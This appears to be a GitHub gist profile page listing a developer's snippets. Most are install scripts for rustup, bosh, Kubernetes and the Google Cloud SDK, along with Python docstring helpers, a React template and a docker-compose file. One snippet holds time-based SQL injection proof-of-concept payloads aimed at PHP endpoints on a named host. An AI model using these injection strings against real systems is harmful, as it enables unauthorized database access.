Skip to content

Instantly share code, notes, and snippets.

View blue-bird1's full-sized avatar
🏠
fish touching

青鸟 blue-bird1

🏠
fish touching
View GitHub Profile
#!/usr/bin/env bash
curl https://sh.rustup.rs -sSf | sh
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
module docs
"""
poc1= "dev.earthonline.tk:9500/index.php?controller=seller&action=categoryAjax&id[]=1%20and%201=1%20union%0dselect%0d1,2,3,4,5,6,7,8,sleep(5)"
data = { 'v_old':"1recharge1\"%20%20union%20select%201,2,3,4,5,sleep(5),\"1", "v_pstatus":20, "v_md5str
":"98F13708210194C475687BE6106A3B84"}
path = "/index.php?controller=block&action=callback&_id=2"
@blue-bird1
blue-bird1 / install.sh
Last active November 16, 2018 06:45
install bosh
# install bosh cli
wget https://github.com/cloudfoundry/bosh-cli/releases/download/v5.3.1/bosh-cli-5.3.1-linux-amd64
chmod +x bosh-cli-5.3.1-linux-amd64
mv bosh-cli-5.3.1-linux-amd64 /usr/local/bin/bosh
# nstall package
apt-get install -y build-essential zlibc zlib1g-dev ruby ruby-dev openssl libxslt-dev libxml2-dev libssl-dev libreadline6 libreadline6-dev libyaml-dev libsqlite3-dev sqlite3
git clone https://github.com/cloudfoundry/bosh-bootloader bosh && cd bosh
wget https://github.com/cloudfoundry/bosh-bootloader/releases/download/v6.10.18/bbl-v6.10.18_linux_x86-64
@blue-bird1
blue-bird1 / install.sh
Last active November 10, 2018 17:40
k8s install
#!/bin/sh
# https://blog.alexellis.io/kubernetes-in-10-minutes/
apt-get update \
&& apt-get install -qy docker.io
apt-get update && apt-get install -y apt-transport-https \
&& curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -
echo "deb http://apt.kubernetes.io/ kubernetes-xenial main" > /etc/apt/sources.list.d/kubernetes.list
@blue-bird1
blue-bird1 / test.py
Last active October 30, 2018 15:36
print file all fucntion __doc__
import inspect
def get_module_function__doc(module):
module = __import__(module)
name_func_tuples = inspect.getmembers(module, inspect.isfunction)
name_func_tuples = [t[1] for t in name_func_tuples if inspect.getmodule(t[1]) == module]
tmp = ''
for _ in name_func_tuples:
tmp = tmp+_.__doc__
print(tmp)
get_module_function__doc('command')
@blue-bird1
blue-bird1 / test.py
Created October 30, 2018 14:59
func print self __doc__
from inspect import *
def my_selfexplaining_function():
"""This is my function document string"""
print getdoc(globals()[getframeinfo(currentframe()).function])
my_selfexplaining_function()
@blue-bird1
blue-bird1 / install.sh
Created October 17, 2018 14:34
google cloud sdk install #debian
export CLOUD_SDK_REPO="cloud-sdk-$(lsb_release -c -s)"
echo "deb http://packages.cloud.google.com/apt $CLOUD_SDK_REPO main" | sudo tee -a /etc/apt/sources.list.d/google-cloud-sdk.list
curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
sudo apt-get update && sudo apt-get install google-cloud-sdk
gcloud init
@blue-bird1
blue-bird1 / =templete=.react
Created October 14, 2018 09:30
temple react and redux #templeate
import React from 'react';
class %CLASS% extends React.Component {
render(){
}
}
export default %CLASS%
@blue-bird1
blue-bird1 / install.sh
Last active October 10, 2018 12:39
kubernetes install #debian
go get -d k8s.io/kubernetes
cd $GOPATH/src/k8s.io/kubernetes
apt-get install rsync
make
@blue-bird1
blue-bird1 / docker-compost.yml
Last active October 10, 2018 12:38
docker php mysql #docker
version: '3'
services:
db:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: my_secret_pw_shh
MYSQL_DATABASE: test_db
MYSQL_USER: devuser
MYSQL_PASSWORD: devpass